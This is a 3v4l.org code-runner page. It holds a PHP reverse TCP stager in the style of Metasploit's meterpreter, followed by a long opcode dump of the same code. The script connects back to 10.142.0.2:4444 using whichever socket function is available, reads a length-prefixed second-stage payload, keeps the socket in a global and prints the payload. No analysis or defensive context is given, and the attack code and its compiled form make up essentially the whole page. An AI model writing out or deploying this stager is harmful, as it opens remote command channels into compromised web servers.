3v4l.org

run code in 300+ PHP versions simultaneously
<?php error_reporting(0); $ip = '10.142.0.2'; $port = 4444; $ipf = AF_INET; if (FALSE !== strpos($ip, ":")) { $ip = "[". $ip ."]"; $ipf = AF_INET6; }if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } elseif (($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } elseif (($f = 'socket_create') && is_callable($f)) { $s = $f($ipf, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } else { die('no socket funcs'); }if (!$s) { die('no socket'); }switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; }if (!$len) { die(); }$a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; }}$GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; print($b); die();
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 13, Position 2 = 18
Branch analysis from position: 13
2 jumps found. (Code = 46) Position 1 = 20, Position 2 = 24
Branch analysis from position: 20
2 jumps found. (Code = 43) Position 1 = 25, Position 2 = 35
Branch analysis from position: 25
1 jumps found. (Code = 42) Position 1 = 78
Branch analysis from position: 78
2 jumps found. (Code = 43) Position 1 = 80, Position 2 = 81
Branch analysis from position: 80
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 81
4 jumps found. (Code = 188) Position 1 = 87, Position 2 = 93, Position 3 = 99, Position 4 = 82
Branch analysis from position: 87
1 jumps found. (Code = 42) Position 1 = 99
Branch analysis from position: 99
2 jumps found. (Code = 43) Position 1 = 101, Position 2 = 102
Branch analysis from position: 101
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 102
1 jumps found. (Code = 42) Position 1 = 133
Branch analysis from position: 133
2 jumps found. (Code = 44) Position 1 = 136, Position 2 = 111
Branch analysis from position: 136
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 111
4 jumps found. (Code = 188) Position 1 = 117, Position 2 = 125, Position 3 = 133, Position 4 = 112
Branch analysis from position: 117
1 jumps found. (Code = 42) Position 1 = 133
Branch analysis from position: 133
Branch analysis from position: 125
1 jumps found. (Code = 42) Position 1 = 133
Branch analysis from position: 133
Branch analysis from position: 133
Branch analysis from position: 112
2 jumps found. (Code = 44) Position 1 = 114, Position 2 = 117
Branch analysis from position: 114
2 jumps found. (Code = 44) Position 1 = 116, Position 2 = 125
Branch analysis from position: 116
1 jumps found. (Code = 42) Position 1 = 133
Branch analysis from position: 133
Branch analysis from position: 125
Branch analysis from position: 117
Branch analysis from position: 93
1 jumps found. (Code = 42) Position 1 = 99
Branch analysis from position: 99
Branch analysis from position: 99
Branch analysis from position: 82
2 jumps found. (Code = 44) Position 1 = 84, Position 2 = 87
Branch analysis from position: 84
2 jumps found. (Code = 44) Position 1 = 86, Position 2 = 93
Branch analysis from position: 86
1 jumps found. (Code = 42) Position 1 = 99
Branch analysis from position: 99
Branch analysis from position: 93
Branch analysis from position: 87
Branch analysis from position: 35
2 jumps found. (Code = 46) Position 1 = 37, Position 2 = 41
Branch analysis from position: 37
2 jumps found. (Code = 43) Position 1 = 42, Position 2 = 49
Branch analysis from position: 42
1 jumps found. (Code = 42) Position 1 = 78
Branch analysis from position: 78
Branch analysis from position: 49
2 jumps found. (Code = 46) Position 1 = 51, Position 2 = 55
Branch analysis from position: 51
2 jumps found. (Code = 43) Position 1 = 56, Position 2 = 77
Branch analysis from position: 56
2 jumps found. (Code = 43) Position 1 = 74, Position 2 = 75
Branch analysis from position: 74
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 75
1 jumps found. (Code = 42) Position 1 = 78
Branch analysis from position: 78
Branch analysis from position: 77
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 55
Branch analysis from position: 41
Branch analysis from position: 24
Branch analysis from position: 18
filename:       /in/Fr1t7
function name:  (null)
number of ops:  145
compiled vars:  !0 = $ip, !1 = $port, !2 = $ipf, !3 = $f, !4 = $s, !5 = $s_type, !6 = $res, !7 = $len, !8 = $a, !9 = $b
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   INIT_FCALL                                               'error_reporting'
          1        SEND_VAL                                                 0
          2        DO_ICALL                                                 
    2     3        ASSIGN                                                   !0, '10.142.0.2'
    3     4        ASSIGN                                                   !1, 4444
    4     5        FETCH_CONSTANT                                   ~13     'AF_INET'
          6        ASSIGN                                                   !2, ~13
    5     7        INIT_FCALL                                               'strpos'
          8        SEND_VAR                                                 !0
          9        SEND_VAL                                                 '%3A'
         10        DO_ICALL                                         $15     
         11        TYPE_CHECK                                  1018          $15
         12      > JMPZ                                                     ~16, ->18
         13    >   CONCAT                                           ~17     '%5B', !0
         14        CONCAT                                           ~18     ~17, '%5D'
         15        ASSIGN                                                   !0, ~18
    6    16        FETCH_CONSTANT                                   ~20     'AF_INET6'
         17        ASSIGN                                                   !2, ~20
    7    18    >   ASSIGN                                           ~22     !3, 'stream_socket_client'
         19      > JMPZ_EX                                          ~22     ~22, ->24
         20    >   INIT_FCALL                                               'is_callable'
         21        SEND_VAR                                                 !3
         22        DO_ICALL                                         $23     
         23        BOOL                                             ~22     $23
         24    > > JMPZ                                                     ~22, ->35
         25    >   INIT_DYNAMIC_CALL                                        !3
         26        ROPE_INIT                                     4  ~25     'tcp%3A%2F%2F'
         27        ROPE_ADD                                      1  ~25     ~25, !0
         28        ROPE_ADD                                      2  ~25     ~25, '%3A'
         29        ROPE_END                                      3  ~24     ~25, !1
         30        SEND_VAL_EX                                              ~24
         31        DO_FCALL                                      0  $27     
         32        ASSIGN                                                   !4, $27
    8    33        ASSIGN                                                   !5, 'stream'
         34      > JMP                                                      ->78
    9    35    >   ASSIGN                                           ~30     !3, 'fsockopen'
         36      > JMPZ_EX                                          ~30     ~30, ->41
         37    >   INIT_FCALL                                               'is_callable'
         38        SEND_VAR                                                 !3
         39        DO_ICALL                                         $31     
         40        BOOL                                             ~30     $31
         41    > > JMPZ                                                     ~30, ->49
         42    >   INIT_DYNAMIC_CALL                                        !3
         43        SEND_VAR_EX                                              !0
         44        SEND_VAR_EX                                              !1
         45        DO_FCALL                                      0  $32     
         46        ASSIGN                                                   !4, $32
   10    47        ASSIGN                                                   !5, 'stream'
         48      > JMP                                                      ->78
   11    49    >   ASSIGN                                           ~35     !3, 'socket_create'
         50      > JMPZ_EX                                          ~35     ~35, ->55
         51    >   INIT_FCALL                                               'is_callable'
         52        SEND_VAR                                                 !3
         53        DO_ICALL                                         $36     
         54        BOOL                                             ~35     $36
         55    > > JMPZ                                                     ~35, ->77
         56    >   INIT_DYNAMIC_CALL                                        !3
         57        SEND_VAR_EX                                              !2
         58        FETCH_CONSTANT                                   ~37     'SOCK_STREAM'
         59        SEND_VAL_EX                                              ~37
         60        FETCH_CONSTANT                                   ~38     'SOL_TCP'
         61        SEND_VAL_EX                                              ~38
         62        DO_FCALL                                      0  $39     
         63        ASSIGN                                                   !4, $39
   12    64        BEGIN_SILENCE                                    ~41     
         65        INIT_FCALL_BY_NAME                                       'socket_connect'
         66        SEND_VAR_EX                                              !4
         67        SEND_VAR_EX                                              !0
         68        SEND_VAR_EX                                              !1
         69        DO_FCALL                                      0  $42     
         70        END_SILENCE                                              ~41
         71        ASSIGN                                                   !6, $42
   13    72        BOOL_NOT                                         ~44     !6
         73      > JMPZ                                                     ~44, ->75
         74    > > EXIT                                                     
   14    75    >   ASSIGN                                                   !5, 'socket'
         76      > JMP                                                      ->78
   15    77    > > EXIT                                                     'no+socket+funcs'
   16    78    >   BOOL_NOT                                         ~46     !4
         79      > JMPZ                                                     ~46, ->81
         80    > > EXIT                                                     'no+socket'
   17    81    > > SWITCH_STRING                                            !5, [ 'stream':->87, 'socket':->93, ], ->99
         82    >   IS_EQUAL                                                 !5, 'stream'
         83      > JMPNZ                                                    ~47, ->87
   19    84    >   IS_EQUAL                                                 !5, 'socket'
         85      > JMPNZ                                                    ~47, ->93
         86    > > JMP                                                      ->99
   17    87    >   INIT_FCALL                                               'fread'
         88        SEND_VAR                                                 !4
         89        SEND_VAL                                                 4
         90        DO_ICALL                                         $48     
         91        ASSIGN                                                   !7, $48
   18    92      > JMP                                                      ->99
   19    93    >   INIT_FCALL_BY_NAME                                       'socket_read'
         94        SEND_VAR_EX                                              !4
         95        SEND_VAL_EX                                              4
         96        DO_FCALL                                      0  $50     
         97        ASSIGN                                                   !7, $50
   20    98      > JMP                                                      ->99
   21    99    >   BOOL_NOT                                         ~52     !7
        100      > JMPZ                                                     ~52, ->102
        101    > > EXIT                                                     
   22   102    >   INIT_FCALL                                               'unpack'
        103        SEND_VAL                                                 'Nlen'
        104        SEND_VAR                                                 !7
        105        DO_ICALL                                         $53     
        106        ASSIGN                                                   !8, $53
   23   107        FETCH_DIM_R                                      ~55     !8, 'len'
        108        ASSIGN                                                   !7, ~55
   24   109        ASSIGN                                                   !9, ''
   25   110      > JMP                                                      ->133
        111    > > SWITCH_STRING                                            !5, [ 'stream':->117, 'socket':->125, ], ->133
        112    >   IS_EQUAL                                                 !5, 'stream'
        113      > JMPNZ                                                    ~58, ->117
   27   114    >   IS_EQUAL                                                 !5, 'socket'
        115      > JMPNZ                                                    ~58, ->125
        116    > > JMP                                                      ->133
   25   117    >   INIT_FCALL                                               'fread'
        118        SEND_VAR                                                 !4
        119        STRLEN                                           ~59     !9
        120        SUB                                              ~60     !7, ~59
        121        SEND_VAL                                                 ~60
        122        DO_ICALL                                         $61     
        123        ASSIGN_OP                                     8          !9, $61
   26   124      > JMP                                                      ->133
   27   125    >   INIT_FCALL_BY_NAME                                       'socket_read'
        126        SEND_VAR_EX                                              !4
        127        STRLEN                                           ~63     !9
        128        SUB                                              ~64     !7, ~63
        129        SEND_VAL_EX                                              ~64
        130        DO_FCALL                                      0  $65     
        131        ASSIGN_OP                                     8          !9, $65
   28   132      > JMP                                                      ->133
   25   133    >   STRLEN                                           ~67     !9
        134        IS_SMALLER                                               ~67, !7
        135      > JMPNZ                                                    ~68, ->111
   29   136    >   FETCH_W                      global              $69     'GLOBALS'
        137        ASSIGN_DIM                                               $69, 'msgsock'
        138        OP_DATA                                                  !4
   30   139        FETCH_W                      global              $71     'GLOBALS'
        140        ASSIGN_DIM                                               $71, 'msgsock_type'
        141        OP_DATA                                                  !5
   31   142        ECHO                                                     !9
   32   143      > EXIT                                                     
        144*     > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
152.78 ms | 1408 KiB | 23 Q